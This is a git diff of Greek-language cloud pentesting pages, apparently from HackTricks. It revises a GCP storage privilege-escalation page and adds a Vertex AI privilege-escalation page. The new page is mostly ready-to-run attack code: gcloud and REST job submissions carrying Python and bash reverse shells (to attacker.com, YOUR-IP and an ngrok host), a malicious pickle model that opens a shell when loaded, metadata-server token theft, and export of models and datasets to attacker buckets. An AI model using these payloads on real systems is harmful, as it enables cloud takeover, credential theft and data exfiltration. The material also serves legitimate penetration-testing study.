+Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
-Για να **δημιουργήσετε ένα νέο αντικείμενο** μέσα σε ένα bucket χρειάζεστε `storage.objects.create` και, σύμφωνα με [τα docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), χρειάζεστε επίσης `storage.objects.delete` για να **τροποποιήσετε** ένα υπάρχον αντικείμενο.
+### `storage.objects.create`, `storage.objects.delete` = Δικαιώματα εγγραφής Storage
-Μια πολύ **συνηθισμένη εκμετάλλευση** των buckets όπου μπορείτε να γράψετε στο cloud είναι στην περίπτωση που το **bucket αποθηκεύει αρχεία web server**, μπορεί να είστε σε θέση να **αποθηκεύσετε νέο κώδικα** που θα χρησιμοποιηθεί από την web εφαρμογή.
+Για να **δημιουργήσετε ένα νέο αντικείμενο** μέσα σε ένα bucket χρειάζεστε `storage.objects.create` και, σύμφωνα με [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), χρειάζεστε επίσης `storage.objects.delete` για να **τροποποιήσετε** ένα υπάρχον αντικείμενο.
+
+Μια πολύ **συνηθισμένη εκμετάλλευση** buckets όπου μπορείτε να γράψετε στο cloud είναι στην περίπτωση που το **bucket αποθηκεύει αρχεία web server**, μπορεί να καταφέρετε να **αποθηκεύσετε νέο κώδικα** που θα χρησιμοποιηθεί από την web εφαρμογή.
### Composer
-**Composer** είναι **Apache Airflow** που διαχειρίζεται μέσα στο GCP. Έχει αρκετές ενδιαφέρουσες δυνατότητες:
+**Composer** είναι **Apache Airflow** που διαχειρίζεται εντός GCP. Έχει αρκετά ενδιαφέροντα χαρακτηριστικά:
-- Εκτελείται μέσα σε ένα **GKE cluster**, οπότε ο **SA που χρησιμοποιεί το cluster είναι προσβάσιμος** από τον κώδικα που εκτελείται μέσα στο Composer
-- Όλα τα στοιχεία ενός περιβάλλοντος composer (**κώδικας DAGs**, plugins και δεδομένα) αποθηκεύονται μέσα σε ένα GCP bucket. Αν ο επιτιθέμενος έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτό, θα μπορούσε να παρακολουθεί το bucket και **όποτε δημιουργείται ή ενηρώνεται ένα DAG, να υποβάλει μια εκδοχή με backdoor** ώστε το περιβάλλον composer να πάρει από την αποθήκη την εκδοχή με backdoor.
+- Τρέχει μέσα σε ένα **GKE cluster**, οπότε το **SA που χρησιμοποιεί το cluster είναι προσβάσιμο** από τον κώδικα που εκτελείται μέσα στο Composer
+- Όλα τα components ενός composer environment (**code of DAGs**, plugins και data) αποθηκεύονται σε ένα GCP bucket. Αν ο επιτιθέμενος έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτό, μπορεί να παρακολουθεί το bucket και **όποτε ένα DAG δημιουργηθεί ή ενημερωθεί, να υποβάλει μια backdoored έκδοση** έτσι ώστε το composer environment να λάβει από το storage την backdoored έκδοση.
-**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
-- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και όποτε δημιουργείται μια νέα έκδοση, ο κώδικας σπρώχνεται στο bucket και στη συνέχεια το νέο container κατασκευάζεται από αυτόν τον κώδικα. Επομένως, **η αντικατάσταση του κώδικα πριν κατασκευαστεί η νέα έκδοση είναι δυνατή για να εκτελέσει η cloud function αυθαίρετο κώδικα**.
+- Ο κώδικας των Cloud Functions αποθηκεύεται στο Storage και όποτε δημιουργείται νέα έκδοση ο κώδικας προωθείται στο bucket και μετά γίνεται build του νέου container από αυτόν τον κώδικα. Επομένως, **αντικαθιστώντας τον κώδικα πριν χτιστεί η νέα έκδοση είναι δυνατό να κάνετε την cloud function να εκτελέσει αυθαίρετο κώδικα**.
-**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
-Οι εκδόσεις του AppEngine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με τη μορφή ονόματος: `staging..appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατή η εύρεση ενός φακέλου που ονομάζεται `ae` που θα περιέχει έναν φάκελο ανά έκδοση της εφαρμογής AppEngine και μέσα σε αυτούς τους φακέλους θα είναι δυνατή η εύρεση του αρχείου `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για τη δημιουργία της συγκεκριμένης έκδοσης. Επιπλέον, είναι δυνατή η εύρεση των **πραγματικών ονομάτων των αρχείων, της διεύθυνσης URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket άλλαξαν το όνομά τους για το sha1 hash τους) και του sha1 hash κάθε αρχείου.**
+Οι εκδόσεις AppEngine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με τη μορφή ονόματος: `staging..appspot.com`. Μέσα σε αυτό το bucket, είναι δυνατό να βρεθεί ένας φάκελος με όνομα `ae` που θα περιέχει έναν φάκελο ανά έκδοση της AppEngine εφαρμογής και μέσα σε αυτούς τους φακέλους θα είναι δυνατό να βρεθεί το αρχείο `manifest.json`. Αυτό το αρχείο περιέχει ένα json με όλα τα αρχεία που πρέπει να χρησιμοποιηθούν για να δημιουργηθεί η συγκεκριμένη έκδοση. Επιπλέον, είναι δυνατό να βρείτε τα **πραγματικά ονόματα των αρχείων, το URL τους μέσα στο GCP bucket (τα αρχεία μέσα στο bucket άλλαξαν το όνομά τους σε sha1 hash) και το sha1 hash κάθε αρχείου.**
-_Σημειώστε ότι δεν είναι δυνατή η προ-κατάληψη αυτού του bucket επειδή οι χρήστες GCP δεν είναι εξουσιοδοτημένοι να δημιουργούν buckets χρησιμοποιώντας το όνομα τομέα appspot.com._
+_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
-Ωστόσο, με δικαιώματα ανάγνωσης και εγγραφής σε αυτό το bucket, είναι δυνατή η κλιμάκωση των προνομίων στον SA που συνδέεται με την έκδοση του App Engine παρακολουθώντας το bucket και κάθε φορά που γίνεται μια αλλαγή (νέα έκδοση), να τροποποιείτε τη νέα έκδοση όσο το δυνατόν πιο γρήγορα. Με αυτόν τον τρόπο, το container που δημιουργείται από αυτόν τον κώδικα θα εκτελεί τον κώδικα με backdoor.
+Ωστόσο, με δικαιώματα ανάγνωσης & εγγραφής σε αυτό το bucket, είναι δυνατό να πραγματοποιηθεί escalation προνομίων στο SA που είναι συνημμένο στην έκδοση App Engine παρακολουθώντας το bucket και κάθε φορά που γίνεται μια αλλαγή (νέα έκδοση), να τροποποιήσετε τη νέα έκδοση όσο πιο γρήγορα γίνεται. Με αυτόν τον τρόπο, ο container που δημιουργείται από αυτόν τον κώδικα θα εκτελέσει τον backdoored κώδικα.
-Η αναφερόμενη επίθεση μπορεί να εκτελεστεί με πολλούς διαφορετικούς τρόπους, όλοι ξεκινούν παρακολουθώντας το bucket `staging..appspot.com`:
+Η προαναφερθείσα επίθεση μπορεί να πραγματοποιηθεί με πολλούς διαφορετικούς τρόπους, όλοι ξεκινούν παρακολουθώντας το `staging..appspot.com` bucket:
-- Ανεβάστε τον πλήρη νέο κώδικα της έκδοσης του AppEngine σε ένα διαφορετικό και διαθέσιμο bucket και ετοιμάστε ένα **`manifest.json` αρχείο με το νέο όνομα bucket και τα sha1 hashes τους**. Στη συνέχεια, όταν δημιουργείται μια νέα έκδοση μέσα στο bucket, απλώς χρειάζεται να τροποποιήσετε το αρχείο `manifest.json` και να ανεβάσετε το κακόβουλο.
-- Ανεβάστε μια τροποποιημένη έκδοση του `requirements.txt` που θα χρησιμοποιεί τον **κακόβουλο κώδικα εξαρτήσεων και θα ενημερώνει το αρχείο `manifest.json`** με το νέο όνομα αρχείου, τη διεύθυνση URL και το hash του.
-- Ανεβάστε ένα **τροποποιημένο αρχείο `main.py` ή `app.yaml` που θα εκτελεί τον κακόβουλο κώδικα** και θα ενημερώνει το αρχείο `manifest.json` με το νέο όνομα αρχείου, τη διεύθυνση URL και το hash του.
+- Ανεβάστε τον πλήρη νέο κώδικα της έκδοσης AppEngine σε ένα διαφορετικό και διαθέσιμο bucket και ετοιμάστε ένα **`manifest.json` αρχείο με το νέο όνομα bucket και τα sha1 hashes τους**. Έπειτα, όταν δημιουργηθεί μια νέα έκδοση μέσα στο bucket, απλά χρειάζεται να τροποποιήσετε το `manifest.json` και να ανεβάσετε το κακόβουλο αρχείο.
+- Ανεβάστε μια τροποποιημένη `requirements.txt` έκδοση που θα χρησιμοποιεί **κακόβουλο κώδικα εξαρτήσεων** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
+- Ανεβάστε ένα **τροποποιημένο `main.py` ή `app.yaml` αρχείο που θα εκτελέσει τον κακόβουλο κώδικα** και ενημερώστε το `manifest.json` με το νέο όνομα αρχείου, το URL και το hash του.
-**Μπορείτε να βρείτε ένα PoC αυτής της επίθεσης στο repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
-- **Google Container Registry** αποθηκεύει τις εικόνες μέσα σε buckets, αν μπορείτε να **γράψετε σε αυτά τα buckets** μπορεί να είστε σε θέση να **μετακινηθείτε πλευρικά εκεί όπου εκτελούνται αυτά τα buckets.**
-- Το bucket που χρησιμοποιείται από το GCR θα έχει μια διεύθυνση URL παρόμοια με `gs://.artifacts..appspot.com` (Οι κορυφαίοι υποτομείς καθορίζονται [εδώ](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
+- **Google Container Registry** αποθηκεύει τα images μέσα σε buckets, αν μπορείτε να **γράψετε σε αυτά τα buckets** μπορεί να είστε σε θέση να **μετακινηθείτε πλευρικά προς εκεί που αυτά τα buckets τρέχουν.**
+- Το bucket που χρησιμοποιείται από GCR θα έχει ένα URL παρόμοιο με `gs://.artifacts..appspot.com` (Τα top level subdomains καθορίζονται [εδώ](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
-> Αυτή η υπηρεσία είναι απαρχαιωμένη, οπότε αυτή η επίθεση δεν είναι πλέον χρήσιμη. Επιπλέον, το Artifact Registry, η υπηρεσία που αντικαθιστά αυτήν, δεν αποθηκεύει τις εικόνες σε buckets.
+> Αυτή η υπηρεσία είναι deprecated οπότε αυτή η επίθεση δεν είναι πλέον χρήσιμη. Επιπλέον, Artifact Registry, η υπηρεσία που την αντικαθιστά, δεν αποθηκεύει τα images σε buckets.
## **Αναφορές**
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
new file mode 100644
index 000000000..2156e46ed
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
@@ -0,0 +1,715 @@
+# GCP - Vertex AI Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Vertex AI
+
+Για περισσότερες πληροφορίες σχετικά με το Vertex AI, δείτε:
+
+{{#ref}}
+../gcp-services/gcp-vertex-ai-enum.md
+{{#endref}}
+
+### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
+
+Με την άδεια `aiplatform.customJobs.create` και `iam.serviceAccounts.actAs` σε ένα στοχευόμενο service account, ένας επιτιθέμενος μπορεί να **εκτελέσει αυθαίρετο κώδικα με αυξημένα προνόμια**.
+
+Αυτό λειτουργεί δημιουργώντας ένα custom training job που τρέχει κώδικα ελεγχόμενο από τον επιτιθέμενο (είτε ένα custom container είτε ένα Python package). Καθορίζοντας ένα privileged service account μέσω της flag `--service-account`, το job κληρονομεί τα δικαιώματα αυτού του service account. Το job τρέχει σε Google-managed infrastructure με πρόσβαση στο GCP metadata service, επιτρέποντας την εξαγωγή του OAuth access token του service account.
+
+**Impact**: Πλήρης κλιμάκωση προνομίων στα δικαιώματα του στοχευόμενου service account.
+
+
+
+Δημιουργία custom job με reverse shell
+```bash
+# Method 1: Reverse shell to attacker-controlled server (most direct access)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl http://attacker.com" \
+--service-account=@.iam.gserviceaccount.com
+
+# On your attacker machine, start a listener first:
+# nc -lvnp 4444
+# Once connected, you can extract the token with:
+# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+
+# Method 2: Python reverse shell (if bash reverse shell is blocked)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=revshell-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
+--service-account=@.iam.gserviceaccount.com
+```
+
+
+
+
+Εναλλακτική: Εξαγωγή token από logs
+```bash
+# Method 3: View in logs (less reliable, logs may be delayed)
+gcloud ai custom-jobs create \
+--region= \
+--display-name=token-exfil-job \
+--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
+--command=sh \
+--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
+--service-account=@.iam.gserviceaccount.com
+
+# Monitor the job logs to get the token
+gcloud ai custom-jobs stream-logs --region=
+```
+
+
+> [!CAUTION]
+> Η custom job θα εκτελεστεί με τα δικαιώματα του καθορισμένου service account. Βεβαιωθείτε ότι έχετε την άδεια `iam.serviceAccounts.actAs` για τον στοχευόμενο service account.
+
+### `aiplatform.models.upload`, `aiplatform.models.get`
+
+Αυτή η τεχνική επιτυγχάνει privilege escalation με το ανέβασμα ενός μοντέλου στο Vertex AI και στη συνέχεια την εκμετάλλευση του για να εκτελέσει κώδικα με αυξημένα προνόμια μέσω ενός endpoint deployment ή ενός batch prediction job.
+
+> [!NOTE]
+> Για να πραγματοποιήσετε αυτή την επίθεση χρειάζεται να υπάρχει ένα world readable GCS bucket ή να δημιουργήσετε ένα καινούργιο για να ανεβάσετε τα model artifacts.
+
+
+
+Ανέβασμα κακόβουλου pickled μοντέλου με reverse shell
+```bash
+# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
+# Create malicious sklearn model that executes reverse shell when loaded
+cat > create_malicious_model.py <<'EOF'
+import pickle
+
+class MaliciousModel:
+def __reduce__(self):
+import subprocess
+cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
+return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
+
+# Save malicious model
+with open('model.pkl', 'wb') as f:
+pickle.dump(MaliciousModel(), f)
+EOF
+
+python3 create_malicious_model.py
+
+# Upload to GCS
+gsutil cp model.pkl gs://your-bucket/malicious-model/
+
+# Upload model (reverse shell executes when endpoint loads it during deployment)
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/malicious-model/ \
+--display-name=malicious-sklearn \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
+
+# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
+```
+
+
+
+
+Μεταφόρτωση μοντέλου με container reverse shell
+```bash
+# Method 2 using --container-args to run a persistent reverse shell
+
+# Generate a fake model we need in a storage bucket in order to fake-run it later
+python3 -c '
+import pickle
+pickle.dump({}, open('model.pkl', 'wb'))
+'
+
+# Upload to GCS
+gsutil cp model.pkl gs://any-bucket/dummy-path/
+
+# Upload model with reverse shell in container args
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://any-bucket/dummy-path/ \
+--display-name=revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+
+# On attacker machine: nc -lvnp 4444
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+> [!DANGER]
+> Μετά τη μεταφόρτωση του κακόβουλου μοντέλου, ένας επιτιθέμενος μπορεί να περιμένει κάποιον να χρησιμοποιήσει το μοντέλο, ή να εκτελέσει ο ίδιος το μοντέλο μέσω μιας ανάπτυξης endpoint ή ενός batch prediction job.
+
+
+#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) ή ( `aiplatform.endpoints.setIamPolicy` )
+
+Εάν έχετε δικαιώματα να δημιουργείτε και να αναπτύσσετε μοντέλα σε endpoints, ή να τροποποιείτε τις IAM πολιτικές των endpoints, μπορείτε να αξιοποιήσετε τα ανεβασμένα κακόβουλα μοντέλα στο έργο για να επιτύχετε privilege escalation. Για να ενεργοποιήσετε ένα από τα προηγουμένως ανεβασμένα κακόβουλα μοντέλα μέσω ενός endpoint, το μόνο που χρειάζεται να κάνετε είναι:
+
+
+
+Ανάπτυξη κακόβουλου μοντέλου σε endpoint
+```bash
+# Create an endpoint
+gcloud ai endpoints create \
+--region= \
+--display-name=revshell-endpoint
+
+# Deploy with privileged service account
+gcloud ai endpoints deploy-model \
+--region= \
+--model= \
+--display-name=revshell-deployment \
+--service-account=@.iam.gserviceaccount.com \
+--machine-type=n1-standard-2 \
+--min-replica-count=1
+```
+
+
+
+#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
+
+Εάν έχετε δικαιώματα να δημιουργήσετε ένα **batch prediction job** και να το τρέξετε με ένα service account, μπορείτε να αποκτήσετε πρόσβαση στην metadata service. Ο κακόβουλος κώδικας εκτελείται από ένα **custom prediction container** ή **malicious model** κατά τη διάρκεια της διαδικασίας batch prediction.
+
+**Σημείωση**: Οι batch prediction jobs μπορούν να δημιουργηθούν μόνο μέσω REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI).
+
+> [!NOTE]
+> Αυτή η επίθεση απαιτεί πρώτα το ανέβασμα ενός malicious model (δείτε την ενότητα `aiplatform.models.upload` παραπάνω) ή τη χρήση ενός custom prediction container με τον κώδικά σας για reverse shell.
+
+
+
+Δημιουργία batch prediction job με malicious model
+```bash
+# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
+gcloud ai models upload \
+--region= \
+--artifact-uri=gs://your-bucket/dummy-model/ \
+--display-name=batch-revshell-model \
+--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
+--container-command=sh \
+--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
+--container-health-route=/ \
+--container-predict-route=/predict \
+--container-ports=8080
+
+# Step 2: Create dummy input file for batch prediction
+echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
+
+# Step 3: Create batch prediction job using that malicious model
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID=""
+TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
+-d '{
+"displayName": "batch-exfil-job",
+"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
+"inputConfig": {
+"instancesFormat": "jsonl",
+"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
+},
+"outputConfig": {
+"predictionsFormat": "jsonl",
+"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
+},
+"dedicatedResources": {
+"machineSpec": {
+"machineType": "n1-standard-2"
+},
+"startingReplicaCount": 1,
+"maxReplicaCount": 1
+},
+"serviceAccount": "'${TARGET_SA}'"
+}'
+
+# On attacker machine: nc -lvnp 4444
+# The reverse shell executes when the batch job starts processing predictions
+# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+### `aiplatform.models.export`
+
+Εάν έχετε την άδεια **models.export**, μπορείτε να εξαγάγετε τα αρχεία του μοντέλου σε ένα GCS bucket που ελέγχετε, αποκτώντας ενδεχομένως πρόσβαση σε ευαίσθητα δεδομένα εκπαίδευσης ή αρχεία μοντέλου.
+
+> [!NOTE]
+> Για να πραγματοποιήσετε αυτή την επίθεση απαιτείται να υπάρχει ένα GCS bucket που να επιτρέπει ανάγνωση και εγγραφή σε όλους ή να δημιουργήσετε ένα νέο για να ανεβάσετε τα αρχεία του μοντέλου.
+
+
+
+Εξαγωγή αρχείων του μοντέλου σε GCS bucket
+```bash
+# Export model artifacts to your own GCS bucket
+PROJECT="your-project"
+REGION="us-central1"
+MODEL_ID="target-model-id"
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
+-d '{
+"outputConfig": {
+"exportFormatId": "custom-trained",
+"artifactDestination": {
+"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
+}
+}
+}'
+
+# Wait for the export operation to complete, then download
+gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
+```
+
+
+### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
+
+Δημιουργήστε **ML pipeline jobs** που εκτελούν πολλαπλά βήματα με αυθαίρετα containers και επιτυγχάνουν privilege escalation μέσω reverse shell.
+
+Τα pipelines είναι ιδιαίτερα ισχυρά για privilege escalation επειδή υποστηρίζουν multi-stage attacks όπου κάθε στοιχείο μπορεί να χρησιμοποιεί διαφορετικά containers και ρυθμίσεις.
+
+> [!NOTE]
+> Χρειάζεστε έναν world writable GCS bucket για να τον χρησιμοποιήσετε ως pipeline root.
+
+
+
+Install Vertex AI SDK
+```bash
+# Install the Vertex AI SDK first
+pip install google-cloud-aiplatform
+```
+
+
+
+
+Δημιουργία pipeline job με reverse shell container
+```python
+#!/usr/bin/env python3
+import json
+import subprocess
+
+PROJECT_ID = ""
+REGION = "us-central1"
+TARGET_SA = ""
+
+# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
+pipeline_spec = {
+"schemaVersion": "2.1.0",
+"sdkVersion": "kfp-2.0.0",
+"pipelineInfo": {
+"name": "data-processing-pipeline"
+},
+"root": {
+"dag": {
+"tasks": {
+"process-task": {
+"taskInfo": {
+"name": "process-task"
+},
+"componentRef": {
+"name": "comp-process"
+}
+}
+}
+}
+},
+"components": {
+"comp-process": {
+"executorLabel": "exec-process"
+}
+},
+"deploymentSpec": {
+"executors": {
+"exec-process": {
+"container": {
+"image": "python:3.11-slim",
+"command": ["python3"],
+"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+}
+}
+}
+}
+}
+
+# Create the request body
+request_body = {
+"displayName": "ml-training-pipeline",
+"runtimeConfig": {
+"gcsOutputDirectory": "gs://gstorage-name/folder"
+},
+"pipelineSpec": pipeline_spec,
+"serviceAccount": TARGET_SA
+}
+
+# Get access token
+token_result = subprocess.run(
+["gcloud", "auth", "print-access-token"],
+capture_output=True,
+text=True,
+check=True
+)
+access_token = token_result.stdout.strip()
+
+# Submit via REST API
+import requests
+
+url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
+headers = {
+"Authorization": f"Bearer {access_token}",
+"Content-Type": "application/json"
+}
+
+print(f"Submitting pipeline job to {url}")
+response = requests.post(url, headers=headers, json=request_body)
+
+if response.status_code in [200, 201]:
+result = response.json()
+print(f"✓ Pipeline job submitted successfully!")
+print(f" Job name: {result.get('name', 'N/A')}")
+print(f" Check your reverse shell listener for connection")
+else:
+print(f"✗ Error: {response.status_code}")
+print(f" {response.text}")
+```
+### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
+
+Δημιουργήστε hyperparameter tuning jobs που εκτελούν αυθαίρετο κώδικα με αυξημένα προνόμια μέσω προσαρμοσμένων κοντέινερ εκπαίδευσης.
+
+Τα hyperparameter tuning jobs σας επιτρέπουν να τρέχετε πολλαπλά δοκιμαστικά training trials παράλληλα, το καθένα με διαφορετικές τιμές υπερπαραμέτρων. Αν καθορίσετε ένα κακόβουλο κοντέινερ με reverse shell ή εντολή εξαγωγής δεδομένων, και το συσχετίσετε με ένα προνομιούχο service account, μπορείτε να επιτύχετε κλιμάκωση προνομίων.
+
+**Επίπτωση**: Πλήρης κλιμάκωση προνομίων στις άδειες του στοχευόμενου service account.
+
+
+
+Δημιουργία hyperparameter tuning job με reverse shell
+```bash
+# Method 1: Python reverse shell (most reliable)
+# Create HP tuning job config with reverse shell
+cat > hptune-config.yaml <<'EOF'
+studySpec:
+metrics:
+- metricId: accuracy
+goal: MAXIMIZE
+parameters:
+- parameterId: learning_rate
+doubleValueSpec:
+minValue: 0.001
+maxValue: 0.1
+algorithm: ALGORITHM_UNSPECIFIED
+trialJobSpec:
+workerPoolSpecs:
+- machineSpec:
+machineType: n1-standard-4
+replicaCount: 1
+containerSpec:
+imageUri: python:3.11-slim
+command: ["python3"]
+args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
+serviceAccount: @.iam.gserviceaccount.com
+EOF
+
+# Create the HP tuning job
+gcloud ai hp-tuning-jobs create \
+--region= \
+--display-name=hyperparameter-optimization \
+--config=hptune-config.yaml
+
+# On attacker machine, set up ngrok listener or use: nc -lvnp
+# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+
+
+
+### `aiplatform.datasets.export`
+
+Εξαγωγή **datasets** για exfiltrate τα δεδομένα εκπαίδευσης που ενδέχεται να περιέχουν ευαίσθητες πληροφορίες.
+
+**Σημείωση**: Οι λειτουργίες datasets απαιτούν REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI για datasets).
+
+Τα datasets συχνά περιέχουν τα αρχικά δεδομένα εκπαίδευσης, τα οποία μπορεί να περιλαμβάνουν PII, εμπιστευτικά επιχειρηματικά δεδομένα ή άλλες ευαίσθητες πληροφορίες που χρησιμοποιήθηκαν για την εκπαίδευση μοντέλων παραγωγής.
+
+
+
+Εξαγωγή dataset για exfiltrate δεδομένα εκπαίδευσης
+```bash
+# Step 1: List available datasets to find a target dataset ID
+PROJECT="your-project"
+REGION="us-central1"
+
+curl -s -X GET \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
+
+# Step 2: Export a dataset to your own bucket using REST API
+DATASET_ID=""
+
+curl -X POST \
+-H "Authorization: Bearer $(gcloud auth print-access-token)" \
+-H "Content-Type: application/json" \
+"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
+-d '{
+"exportConfig": {
+"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
+}
+}'
+
+# The export operation runs asynchronously and will return an operation ID
+# Wait a few seconds for the export to complete
+
+# Step 3: Download the exported data
+gsutil ls -r gs://your-controlled-bucket/exported-data/
+
+# Download all exported files
+gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
+
+# Step 4: View the exported data
+# The data will be in JSONL format with references to training data locations
+cat exported-data/*/data-*.jsonl
+
+# The exported data may contain:
+# - References to training images/files in GCS buckets
+# - Dataset annotations and labels
+# - PII (Personally Identifiable Information)
+# - Sensitive business data
+# - Internal documents or communications
+# - Credentials or API keys in text data
+```
+
+
+
+### `aiplatform.datasets.import`
+
+Εισαγωγή κακόβουλων ή δηλητηριασμένων δεδομένων σε υπάρχοντα σύνολα δεδομένων για να **χειραγωγήσετε την εκπαίδευση του μοντέλου και να εισάγετε backdoors**.
+
